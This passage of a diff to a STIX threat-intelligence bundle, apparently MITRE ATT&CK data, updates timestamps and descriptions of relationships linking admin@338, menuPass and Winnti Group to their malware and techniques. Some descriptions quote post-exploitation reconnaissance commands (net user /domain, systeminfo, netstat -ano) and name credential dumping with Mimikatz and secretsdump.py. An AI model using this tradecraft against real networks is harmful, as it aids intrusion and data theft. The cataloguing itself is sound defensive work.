+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
@@ -32413,12 +38702,25 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--773e99eb-0739-42d3-afaa-aff65e86329d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
+            "target_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--f28627be-fddd-455c-b001-abddaaa29fa7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Winnti Group used stolen certificates to sign its malware.",
             "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
@@ -32439,7 +38741,7 @@
             "id": "relationship--e8cb4430-db05-4029-b011-926a2ba17a4c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Winnti Group looked for a specific process running on infected servers.",
             "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
@@ -32460,7 +38762,7 @@
             "id": "relationship--05e05236-1635-48d7-8ee3-33319c01c815",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Winnti Group used a rootkit to modify typical server functionality.",
             "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
@@ -32481,7 +38783,7 @@
             "id": "relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
             "target_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
@@ -32494,7 +38796,7 @@
             "id": "relationship--fb6f077c-06a2-46bb-9aef-959ef818d4aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Following exploitation with LOWBALL malware, admin@338 actors created a file containing a list of commands to be executed on the compromised computer.",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
@@ -32515,9 +38817,9 @@
             "id": "relationship--eb85fa2e-3c50-4130-9717-8688237fecbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about the OS:\n** <code>ver >> %temp%\\download</code>\n** <code>systeminfo >> %temp%\\download</code>",
+            "description": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about the OS: <code>ver >> %temp%\\download</code> <code>systeminfo >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
             "object_marking_refs": [
@@ -32536,7 +38838,7 @@
             "id": "relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command after exploiting a machine with LOWBALL malware to acquire information about local networks: <code>ipconfig /all >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
@@ -32557,9 +38859,9 @@
             "id": "relationship--c4962ae6-91e2-407d-9f42-aa0381574476",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "admin@338 actors used the following commands following exploitation of a machine with LOWBALL malware to enumerate user accounts:\n** <code>net user >> %temp%\\download</code>\n** <code>net user /domain >> %temp%\\download</code>",
+            "description": "admin@338 actors used the following commands following exploitation of a machine with LOWBALL malware to enumerate user accounts: <code>net user >> %temp%\\download</code> <code>net user /domain >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
             "object_marking_refs": [
@@ -32578,7 +38880,7 @@
             "id": "relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to obtain information about services: <code>net start >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
@@ -32599,7 +38901,7 @@
             "id": "relationship--7d047513-5fbf-4d9e-8a5d-54317123e34c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to list local groups: <code>net localgroup administrator >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
@@ -32620,7 +38922,7 @@
             "id": "relationship--9fef204f-163a-4c9d-b9b1-8a168074063a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to display network connections: <code>netstat -ano >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
@@ -32641,7 +38943,7 @@
             "id": "relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command to rename one of their tools to a benign file name: <code>ren \"%temp%\\upload\" audiodg.exe</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
@@ -32662,9 +38964,9 @@
             "id": "relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about files and directories:\n** <code>dir c:\\ >> %temp%\\download</code>\n** <code>dir \"c:\\Documents and Settings\" >> %temp%\\download</code>\n** <code>dir \"c:\\Program Files\\\" >> %temp%\\download</code>\n** <code>dir d:\\ >> %temp%\\download</code>",
+            "description": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about files and directories: <code>dir c:\\ >> %temp%\\download</code> <code>dir \"c:\\Documents and Settings\" >> %temp%\\download</code> <code>dir \"c:\\Program Files\\\" >> %temp%\\download</code> <code>dir d:\\ >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "object_marking_refs": [
@@ -32683,7 +38985,7 @@
             "id": "relationship--0a6ec458-f9f7-4e51-b0eb-4fd915a48a6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
@@ -32696,7 +38998,7 @@
             "id": "relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -32709,7 +39011,7 @@
             "id": "relationship--a36263d1-d109-4c94-930a-6be1e9615527",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -32722,7 +39024,7 @@
             "id": "relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
@@ -32735,7 +39037,7 @@
             "id": "relationship--318afc9f-92f3-4262-af70-b2e045b87737",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
@@ -32748,7 +39050,7 @@
             "id": "relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
@@ -32761,7 +39063,7 @@
             "id": "relationship--e38e741c-a7ef-420a-911a-1d2cf6abf49d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
@@ -32774,7 +39076,7 @@
             "id": "relationship--e104cf3c-a802-4e06-8abc-6293cea9492f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass uses PowerSploit to inject shellcode into PowerShell.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -32795,7 +39097,7 @@
             "id": "relationship--9066dcee-7c80-429c-a5cc-77458e891349",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -32821,7 +39123,7 @@
             "id": "relationship--04203d88-5fe1-4e63-be65-51a17705716b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass uses a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -32847,7 +39149,7 @@
             "id": "relationship--dea36846-b8ad-4926-a242-9fa2d12069c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -32878,7 +39180,7 @@
             "id": "relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass uses scripts to enumerate IP ranges on the victim network.menuPass has also issued the command <code>net view /domain</code> to a PlugX implant to gather information about remote systems on the network.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -32904,7 +39206,7 @@
             "id": "relationship--d4d07662-749c-4116-a83c-e4045eddad43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used DLL side-loading to launch versions of Mimikatz and PwDump6.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -32925,7 +39227,7 @@
             "id": "relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used the Microsoft administration tool csvde.exe to export Active Directory data.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -32946,7 +39248,7 @@
             "id": "relationship--4cc8afb8-86ab-4537-926f-3178975a7886",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -32967,7 +39269,7 @@
             "id": "relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used tcping.exe, similar to Ping, to probe port status on systems of interest.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -32988,7 +39290,7 @@
             "id": "relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has compressed files before exfiltration using TAR and RAR.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33014,7 +39316,7 @@
             "id": "relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used a script (atexec.py) to execute a command on a target machine via Task Scheduler.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33035,7 +39337,7 @@
             "id": "relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used DLL search order hijacking.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33056,7 +39358,7 @@
             "id": "relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used valid accounts shared between Managed Service Providers and clients to move between the two environments.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33077,7 +39379,7 @@
             "id": "relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has installed updates and new malware on victims.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33098,7 +39400,7 @@
             "id": "relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used RDP connections to move across the victim network.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33119,7 +39421,7 @@
             "id": "relationship--12ea66f1-566a-404f-a948-f76b9047710e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used <code>net use</code> to conduct connectivity checks to machines.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33140,7 +39442,7 @@
             "id": "relationship--bbd29878-c16a-45ee-9785-78550f080d83",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33161,7 +39463,7 @@
             "id": "relationship--c2909563-2b7e-48d6-b165-05b8eff63862",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has collected data from remote systems by mounting network shares with <code>net use</code> and using Robocopy to transfer data.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33182,7 +39484,7 @@
             "id": "relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used Putty Secure Copy Client (PSCP) to transfer data.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33203,7 +39505,7 @@
             "id": "relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used a global service provider's IP as a proxy for C2 traffic from a victim.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -33224,7 +39526,7 @@
             "id": "relationship--bab6aadc-7a93-43e4-88cb-904fd1f2fddd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -33237,7 +39539,7 @@
             "id": "relationship--68487d82-458b-4f45-b1c8-c6e4affaa226",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -33250,7 +39552,7 @@
             "id": "relationship--845482a1-a062-407d-a83e-90d883d1d91b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -33263,7 +39565,7 @@
             "id": "relationship--51372934-2c81-4db7-aa38-cbb173698cc2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -33276,7 +39578,7 @@
             "id": "relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
@@ -33289,7 +39591,7 @@
             "id": "relationship--cfc7da70-d7c5-4508-8f50-1c3107269633",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
@@ -33302,7 +39604,7 @@
             "id": "relationship--3dd745f5-1c0c-4376-8850-89679fcd4e31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -33315,7 +39617,7 @@
             "id": "relationship--f9600732-9116-4325-8073-28d81721b37a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -33328,7 +39630,7 @@
             "id": "relationship--e5f75ae0-45f5-48b8-938f-f0d9e17e53eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
@@ -33341,7 +39643,7 @@
             "id": "relationship--7193ed4c-7169-46fa-9294-d74d912510d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -33354,7 +39656,7 @@
             "id": "relationship--99800503-d535-4fae-a318-dfa034dca663",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
